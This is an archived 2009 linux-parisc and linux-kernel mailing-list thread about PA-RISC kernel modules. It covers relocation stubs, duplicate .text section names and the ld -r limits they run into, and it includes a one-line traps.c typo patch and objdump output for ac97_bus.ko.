Actually, I think we do; the module loader is a runtime linker, after
all.  We have specific module bugs we fixed by inserting relocation
stubs between the text sections.

Our specific problem is that the standard pa relocation is PCREL17 ...
as you can appreciate, 17 bits of relative jump isn't a lot.  If the
target isn't within the 17 bits, we have to insert a relocation stub to
do an indirect absolute jump thought the GOT.  Our problems occur when a
text section is wider than the 17 bits, which happens a lot in the
larger modules ... with nowhere to put the stub within range of the
relocation we can't load them.  Our fix is to split the text sections
with -ffunction-sections so we can be pretty much assured of having a
stub location within the 17 bits.

We don't care what they're called or anything.  We just care that
the .text is split up into multiple separately relocateable sections so
we can get the stubs within range of the jumps.

Now, of course, if the final linker could be persuaded to sprinkle
needed stubs through the text section and all we have to do is GOT
relocations, we don't need all the jiggery-pokery ... but I'm told this
can't be done.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roland McGrath <roland@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: kernel segv with 2.6.31-rc6 ?
Date: Tue, 18 Aug 2009 18:31:24 -0700 (PDT)
Lines: 30
Approved: news@gmane.org
Message-ID: <20090819013124.7539E4730F@magilla.sf.frob.com>
References: <4A89CC4D.5040801@gmx.de>
	<1250549376.7858.96.camel@mulgrave.site>
	<200908181248.52572.rusty@rustcorp.com.au>
	<20090818050637.4C3E74730F@magilla.sf.frob.com>
	<1250640565.15079.3.camel@mulgrave.site>
	<20090819001424.4C1144730F@magilla.sf.frob.com>
	<1250643261.18426.8.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1250645509 20590 80.91.229.12 (19 Aug 2009 01:31:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 19 Aug 2009 01:31:49 +0000 (UTC)
Cc: Rusty Russell <rusty@rustcorp.com.au>,
	Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 19 03:31:38 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Mda1X-0003Fz-TA
	for glpp-linux-parisc@lo.gmane.org; Wed, 19 Aug 2009 03:31:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750859AbZHSBbc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 18 Aug 2009 21:31:32 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750900AbZHSBbc
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 18 Aug 2009 21:31:32 -0400
Original-Received: from mx1.redhat.com ([66.187.233.31]:45963 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750857AbZHSBbb (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 18 Aug 2009 21:31:31 -0400
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id n7J1VSOE005868;
	Tue, 18 Aug 2009 21:31:28 -0400
Original-Received: from gateway.sf.frob.com (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1])
	by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id n7J1VPmF004187;
	Tue, 18 Aug 2009 21:31:26 -0400
Original-Received: from magilla.sf.frob.com (magilla.sf.frob.com [198.49.250.228])
	by gateway.sf.frob.com (Postfix) with ESMTP
	id A8B9D357B; Tue, 18 Aug 2009 18:31:24 -0700 (PDT)
Original-Received: by magilla.sf.frob.com (Postfix, from userid 5281)
	id 7539E4730F; Tue, 18 Aug 2009 18:31:24 -0700 (PDT)
X-Fcc: ~/Mail/linus
In-Reply-To: James Bottomley's message of  Tuesday, 18 August 2009 18:54:21 -0600 <1250643261.18426.8.camel@mulgrave.site>
X-Zippy-Says: Awright, which one of you hid my PENIS ENVY?
X-Scanned-By: MIMEDefang 2.58 on 172.16.52.254
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2044 gmane.linux.kernel:879219
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2044>

> Actually, I think we do; the module loader is a runtime linker, after
> all.  [...]

Indeed you do.  I've just read some of the parts of ld that normally
address this issue for HPPA.  They don't run for ld -r.  So this is just
another fine example of the lunacy of the ET_REL .ko madness that would be
naturally avoided by a sensible tweaked ET_DYN scheme.  But that battle was
lost way, way back in the long, long ago, so long ago they were probably
even still making HPPA machines then.

> Now, of course, if the final linker could be persuaded to sprinkle
> needed stubs through the text section and all we have to do is GOT
> relocations, we don't need all the jiggery-pokery ... but I'm told this
> can't be done.

Not with ld -r as it is today.  That's what ld does for you in proper final
links.  It looks to me like you might be able to enable some special mode
("finalish link" for -r) with a hack to HPPA ld to apply this stub-creation
logic based on the assumption that the symbols in the relocs will be
resolved to themselves, and barf on you if they're used for SHN_UNDEF symbols.
But nobody cares enough to fiddle with ld.


Thanks,
Roland
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: kernel segv with 2.6.31-rc6 ?
Date: Tue, 18 Aug 2009 19:38:36 -0600
Lines: 44
Approved: news@gmane.org
Message-ID: <1250645916.18426.12.camel@mulgrave.site>
References: <4A89CC4D.5040801@gmx.de>
	 <1250549376.7858.96.camel@mulgrave.site>
	 <200908181248.52572.rusty@rustcorp.com.au>
	 <20090818050637.4C3E74730F@magilla.sf.frob.com>
	 <1250640565.15079.3.camel@mulgrave.site>
	 <20090819001424.4C1144730F@magilla.sf.frob.com>
	 <1250643261.18426.8.camel@mulgrave.site>
	 <20090819013124.7539E4730F@magilla.sf.frob.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1250645934 21302 80.91.229.12 (19 Aug 2009 01:38:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 19 Aug 2009 01:38:54 +0000 (UTC)
Cc: Rusty Russell <rusty@rustcorp.com.au>,
	Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: Roland McGrath <roland@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 19 03:38:46 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Mda8Q-0004nm-Hn
	for glpp-linux-parisc@lo.gmane.org; Wed, 19 Aug 2009 03:38:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750978AbZHSBij (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 18 Aug 2009 21:38:39 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750943AbZHSBii
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 18 Aug 2009 21:38:38 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:53929 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750758AbZHSBii (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 18 Aug 2009 21:38:38 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id E701E8EE17C;
	Tue, 18 Aug 2009 18:38:39 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 2GaYFghCL-+M; Tue, 18 Aug 2009 18:38:39 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 4F4098EE0C8;
	Tue, 18 Aug 2009 18:38:39 -0700 (PDT)
In-Reply-To: <20090819013124.7539E4730F@magilla.sf.frob.com>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2045 gmane.linux.kernel:879221
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2045>

On Tue, 2009-08-18 at 18:31 -0700, Roland McGrath wrote:
> > Actually, I think we do; the module loader is a runtime linker, after
> > all.  [...]
> 
> Indeed you do.  I've just read some of the parts of ld that normally
> address this issue for HPPA.  They don't run for ld -r.  So this is just
> another fine example of the lunacy of the ET_REL .ko madness that would be
> naturally avoided by a sensible tweaked ET_DYN scheme.

Using ET_DYN would have made our life easier when trying to code the
kernel module loader as well.  The basic problem is, of course, that
this is simple on an x86, so it didn't matter that much for the initial
implementation.  It just becomes less simple on anything else.

>   But that battle was
> lost way, way back in the long, long ago, so long ago they were probably
> even still making HPPA machines then.

Well, since they're still making parisc machines, I assume you mean
further back than when the production lines knocked off today?

> > Now, of course, if the final linker could be persuaded to sprinkle
> > needed stubs through the text section and all we have to do is GOT
> > relocations, we don't need all the jiggery-pokery ... but I'm told this
> > can't be done.
> 
> Not with ld -r as it is today.  That's what ld does for you in proper final
> links.  It looks to me like you might be able to enable some special mode
> ("finalish link" for -r) with a hack to HPPA ld to apply this stub-creation
> logic based on the assumption that the symbols in the relocs will be
> resolved to themselves, and barf on you if they're used for SHN_UNDEF symbols.
> But nobody cares enough to fiddle with ld.

So that leaves us stuck with the current implementation and still
needing a solution for the duplicate section names?

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roland McGrath <roland@redhat.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: kernel segv with 2.6.31-rc6 ?
Date: Wed, 19 Aug 2009 11:10:41 -0700 (PDT)
Lines: 46
Approved: news@gmane.org
Message-ID: <20090819181041.7215E4730F@magilla.sf.frob.com>
References: <4A89CC4D.5040801@gmx.de>
	<1250549376.7858.96.camel@mulgrave.site>
	<200908181248.52572.rusty@rustcorp.com.au>
	<20090818050637.4C3E74730F@magilla.sf.frob.com>
	<1250640565.15079.3.camel@mulgrave.site>
	<20090819001424.4C1144730F@magilla.sf.frob.com>
	<1250643261.18426.8.camel@mulgrave.site>
	<20090819013124.7539E4730F@magilla.sf.frob.com>
	<1250645916.18426.12.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1250705487 26597 80.91.229.12 (19 Aug 2009 18:11:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 19 Aug 2009 18:11:27 +0000 (UTC)
Cc: Rusty Russell <rusty@rustcorp.com.au>,
	Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1752429AbZHSSKy@vger.kernel.org Wed Aug 19 20:11:19 2009
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1752429AbZHSSKy@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Mdpcu-0008DC-Bh
	for glk-linux-kernel-3@lo.gmane.org; Wed, 19 Aug 2009 20:11:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752429AbZHSSKy (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 19 Aug 2009 14:10:54 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752069AbZHSSKx
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Wed, 19 Aug 2009 14:10:53 -0400
Original-Received: from mx1.redhat.com ([66.187.233.31]:33514 "EHLO mx1.redhat.com"
	rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org with ESMTP
	id S1752041AbZHSSKu (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Wed, 19 Aug 2009 14:10:50 -0400
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id n7JIAk0X003773;
	Wed, 19 Aug 2009 14:10:46 -0400
Original-Received: from gateway.sf.frob.com (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1])
	by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id n7JIAglm009741;
	Wed, 19 Aug 2009 14:10:43 -0400
Original-Received: from magilla.sf.frob.com (magilla.sf.frob.com [198.49.250.228])
	by gateway.sf.frob.com (Postfix) with ESMTP
	id AB47E357B; Wed, 19 Aug 2009 11:10:41 -0700 (PDT)
Original-Received: by magilla.sf.frob.com (Postfix, from userid 5281)
	id 7215E4730F; Wed, 19 Aug 2009 11:10:41 -0700 (PDT)
X-Fcc: ~/Mail/linus
In-Reply-To: James Bottomley's message of  Tuesday, 18 August 2009 19:38:36 -0600 <1250645916.18426.12.camel@mulgrave.site>
X-Windows: form follows malfunction.
X-Scanned-By: MIMEDefang 2.58 on 172.16.52.254
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:879624 gmane.linux.ports.parisc:2046
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2046>

> Using ET_DYN would have made our life easier when trying to code the
> kernel module loader as well.  The basic problem is, of course, that
> this is simple on an x86, so it didn't matter that much for the initial
> implementation.  It just becomes less simple on anything else.

There are generic ways that ET_DYN is better for all, too.  
A little birdie told me it was all the fault of mips.
Anyway, water under the bridge.

> Well, since they're still making parisc machines, I assume you mean
> further back than when the production lines knocked off today?

I'm pretty sure you knew what I meant.

> So that leaves us stuck with the current implementation and still
> needing a solution for the duplicate section names?

Something like that.  Your fix makes module loading work again, so we
could just let /sys/module/*/{sections,notes}/ be missing on parisc
and see how long it takes anybody to complain, assuming you talk Rusty
out of his preference to change those error cases to refuse to load
the module.  OTOH, you said earlier that it was only some mistake that
produced multiple same-named sections to begin with, so you could just
try to fix that and then forget about it.

Finally, we could decide to really support the general case including
duplicate section names in these features.  That's really not very
hard to do, if we just completely change the interfaces for those
features.  e.g. instead of a /sys/module/*/sections directory, it
could just be a single file that contains lines of:

SHNDX 0xADDR NAME

For /sys/module/*/notes, no consumer really cares about the section
distinctions at all.  It would be easy enough just to have a single
pseudo-file that delivers all note sections concatenated together.
(In practice, there is usually only one note section at most anyway.)

Of course, such changes would be a new incompatible change to the
userland sysfs ABI, require compatibility concerns, etc.  It seems
unlikely anyone really wants to bother with all that.  It would be
more natural presentation of the info IMHO, but it hardly matters.


Thanks,
Roland

From - Thu Nov 08 21:04:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: PATCH [2.6.31-rc6] fix warning in traps.c line 535
Date: Wed, 19 Aug 2009 13:04:10 -0600
Lines: 34
Approved: news@gmane.org
Message-ID: <20090819190410.GB24471@lackof.org>
References: <20090817234554.GD26336@lackof.org> <20090818174518.6E0EA4CFD@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1250708662 4242 80.91.229.12 (19 Aug 2009 19:04:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 19 Aug 2009 19:04:22 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 19 21:04:14 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MdqSD-0005uC-DI
	for glpp-linux-parisc@lo.gmane.org; Wed, 19 Aug 2009 21:04:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752035AbZHSTEK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 19 Aug 2009 15:04:10 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752049AbZHSTEK
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 19 Aug 2009 15:04:10 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:44110 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752035AbZHSTEJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 19 Aug 2009 15:04:09 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id DBE2433E0007;
	Wed, 19 Aug 2009 13:04:10 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id YAZQapxHVmHI; Wed, 19 Aug 2009 13:04:10 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 9026D33E005C; Wed, 19 Aug 2009 13:04:10 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20090818174518.6E0EA4CFD@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2047
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2047>

On Tue, Aug 18, 2009 at 01:45:17PM -0400, John David Anglin wrote:
...
> There's one new parisc warning that I noticed:
> 
>  CC      arch/parisc/kernel/traps.o
> arch/parisc/kernel/traps.c: In function 'handle_interruption':
> arch/parisc/kernel/traps.c:535:18: warning: operation on 'regs->iasq[0]' may be
> undefined
> 
> Looks like a typo.

Yes - Line 535 should use both [0] and [1].

Signed-off-by: Grant Grundler <grundler@parisc-linux.org>
----

diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 528f0ff..8b58bf0 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -532,7 +532,7 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
 	  	/* Kill the user process later */
 	  	regs->iaoq[0] = 0 | 3;
 		regs->iaoq[1] = regs->iaoq[0] + 4;
-	 	regs->iasq[0] = regs->iasq[0] = regs->sr[7];
+	 	regs->iasq[0] = regs->iasq[1] = regs->sr[7];
 		regs->gr[0] &= ~PSW_B;
 		return;
 	}
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: kernel segv with 2.6.31-rc6 ?
Date: Thu, 20 Aug 2009 13:51:22 +0200
Lines: 193
Approved: news@gmane.org
Message-ID: <20090820115122.123520@gmx.net>
References: <4A89CC4D.5040801@gmx.de>	 <1250549376.7858.96.camel@mulgrave.site>
	 <200908181248.52572.rusty@rustcorp.com.au>	
 <20090818050637.4C3E74730F@magilla.sf.frob.com>
 <1250640565.15079.3.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1250769097 27402 80.91.229.12 (20 Aug 2009 11:51:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 20 Aug 2009 11:51:37 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	rusty@rustcorp.com.au
To: James Bottomley <James.Bottomley@HansenPartnership.com>,
	roland@redhat.com
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 20 13:51:29 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Me6Ay-0004YB-GD
	for glpp-linux-parisc@lo.gmane.org; Thu, 20 Aug 2009 13:51:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753991AbZHTLvY convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 20 Aug 2009 07:51:24 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754013AbZHTLvY
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 20 Aug 2009 07:51:24 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:47313 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753963AbZHTLvX (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 20 Aug 2009 07:51:23 -0400
Original-Received: (qmail 19536 invoked by uid 0); 20 Aug 2009 11:51:23 -0000
Original-Received: from 155.56.68.217 by www063.gmx.net with HTTP;
 Thu, 20 Aug 2009 13:51:22 +0200 (CEST)
In-Reply-To: <1250640565.15079.3.camel@mulgrave.site>
X-Authenticated: #1045983
X-Flags: 0001
X-Mailer: WWW-Mail 6100 (Global Message Exchange)
X-Priority: 3
X-Provags-ID: V01U2FsdGVkX19XcWZ0YdtXxZxIHsiMjbz+G+ER0dA6mNhEyjKl/s
 F5RVU53ww4pQwr+XrumWPzKIbiXyb9O2F3zg== 
X-GMX-UID: 3FzlB3tRbHIhea3NNjQ0QZkiJihyatAC
X-FuHaFi: 0.52
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2048 gmane.linux.kernel:880005
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2048>

> On Mon, 2009-08-17 at 22:06 -0700, Roland McGrath wrote:
> > > I'd be happy to fail to load it.  There might be sysfs issues wit=
h it
> too.
> >=20
> > That sounds reasonable to me.  And I'd be happy to at least look a
> little
> > and maybe give some advice to anybody who finds themself building s=
uch a
> > (free) module, doesn't know why or how it got that way, and wants t=
o
> ask.
>=20
> Actually, for parisc, its not reasonable.  It's expected that our
> modules have multiple text sections (we have to use -ffunction-sectio=
ns
> to generate them in order that the PCREL17 jump stubs can be
> interleaved).
>=20
> The problem looks to be that some linker error gave the one of the na=
med
> function text sections a duplicate name.  Helge, can you post he objd=
ump
> info that shows which section had a duplicate name?
>=20
> Even with the duplicate name, though, the module should be perfectly
> loadable.


It's the ac97_bus kernel module:
-rw-r--r-- 1 root root 3.0K 2009-08-19 12:25 ac97_bus.ko=20


"objdump -x ac97_bus.ko" shows two .text sections:

ac97_bus.ko:     file format elf32-hppa-linux
ac97_bus.ko                                 =20
architecture: hppa1.1, flags 0x00000011:    =20
HAS_RELOC, HAS_SYMS                         =20
start address 0x00000000                    =20

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .note.gnu.build-id 00000024  00000000  00000000  00000034  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA           =20
  1 .text         00000000  00000000  00000000  00000058  2**0    =20
                  CONTENTS, ALLOC, LOAD, READONLY, CODE           =20
  2 .text.ac97_bus_match 0000001c  00000000  00000000  00000058  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE             =20
  3 .exit.text    00000030  00000000  00000000  00000074  2**2      =20
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE      =20
  4 .init.text    00000030  00000000  00000000  000000a4  2**2      =20
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE      =20
  5 .text         00000000  00000000  00000000  000000d4  2**0      =20
                  CONTENTS, ALLOC, LOAD, READONLY, CODE             =20
  6 .rodata.str1.4 00000008  00000000  00000000  000000d4  2**2     =20
                  CONTENTS, ALLOC, LOAD, READONLY, DATA             =20
  7 .modinfo      00000040  00000000  00000000  000000dc  2**2      =20
                  CONTENTS, ALLOC, LOAD, READONLY, DATA             =20
  8 __ksymtab     00000008  00000000  00000000  0000011c  2**2      =20
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, DATA      =20
  9 __ksymtab_strings 0000000e  00000000  00000000  00000124  2**0  =20
                  CONTENTS, ALLOC, LOAD, READONLY, DATA             =20
 10 .PARISC.unwind 00000030  00000000  00000000  00000134  2**2     =20
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, DATA      =20
 11 .data         00000034  00000000  00000000  00000164  2**2      =20
                  CONTENTS, ALLOC, LOAD, RELOC, DATA                =20
 12 .gnu.linkonce.this_module 00000160  00000000  00000000  00000198  2=
**2
                  CONTENTS, ALLOC, LOAD, RELOC, DATA, LINK_ONCE_DISCARD=
  =20
 13 .bss          00000000  00000000  00000000  000002f8  2**0         =
  =20
                  ALLOC                                                =
  =20
 14 .comment      0000003a  00000000  00000000  000002f8  2**0         =
  =20
                  CONTENTS, READONLY                                   =
  =20
SYMBOL TABLE:                                                          =
  =20
00000000 l    d  .note.gnu.build-id     00000000 .note.gnu.build-id    =
  =20
00000000 l    d  .text  00000000 .text                                 =
  =20
00000000 l    d  .text.ac97_bus_match   00000000 .text.ac97_bus_match  =
  =20
00000000 l    d  .exit.text     00000000 .exit.text                    =
  =20
00000000 l    d  .init.text     00000000 .init.text                    =
  =20
00000000 l    d  .text  00000000 .text                                 =
  =20
00000000 l    d  .rodata.str1.4 00000000 .rodata.str1.4                =
  =20
00000000 l    d  .modinfo       00000000 .modinfo                      =
  =20
00000000 l    d  __ksymtab      00000000 __ksymtab                     =
  =20
00000000 l    d  __ksymtab_strings      00000000 __ksymtab_strings     =
  =20
00000000 l    d  .PARISC.unwind 00000000 .PARISC.unwind                =
  =20
00000000 l    d  .data  00000000 .data                                 =
  =20
00000000 l    d  .gnu.linkonce.this_module      00000000 .gnu.linkonce.=
this_module
00000000 l    d  .bss   00000000 .bss                                  =
          =20
00000000 l    d  .comment       00000000 .comment                      =
          =20
00000000 l     F .text.ac97_bus_match   0000001c ac97_bus_match        =
          =20
00000000 l     F .exit.text     00000030 ac97_bus_exit                 =
          =20
00000000 l     F .init.text     00000030 ac97_bus_init                 =
          =20
00000000 l     O .modinfo       0000000c __mod_license77               =
          =20
00000000 l     O __ksymtab      00000008 __ksymtab_ac97_bus_type       =
          =20
00000000 l     O __ksymtab_strings      0000000e __kstrtab_ac97_bus_typ=
e         =20
0000000c l     O .modinfo       00000009 __module_depends              =
          =20
00000018 l     O .modinfo       00000026 __mod_vermagic5               =
          =20
00000000 g     O .gnu.linkonce.this_module      00000160 __this_module =
          =20
00000000 g     F .exit.text     00000030 cleanup_module                =
          =20
00000000 g     F .init.text     00000030 init_module                   =
          =20
00000000         *UND*  00000000 bus_unregister                        =
          =20
00000000 g     O .data  00000034 ac97_bus_type                         =
          =20
00000000         *UND*  00000000 bus_register                          =
          =20


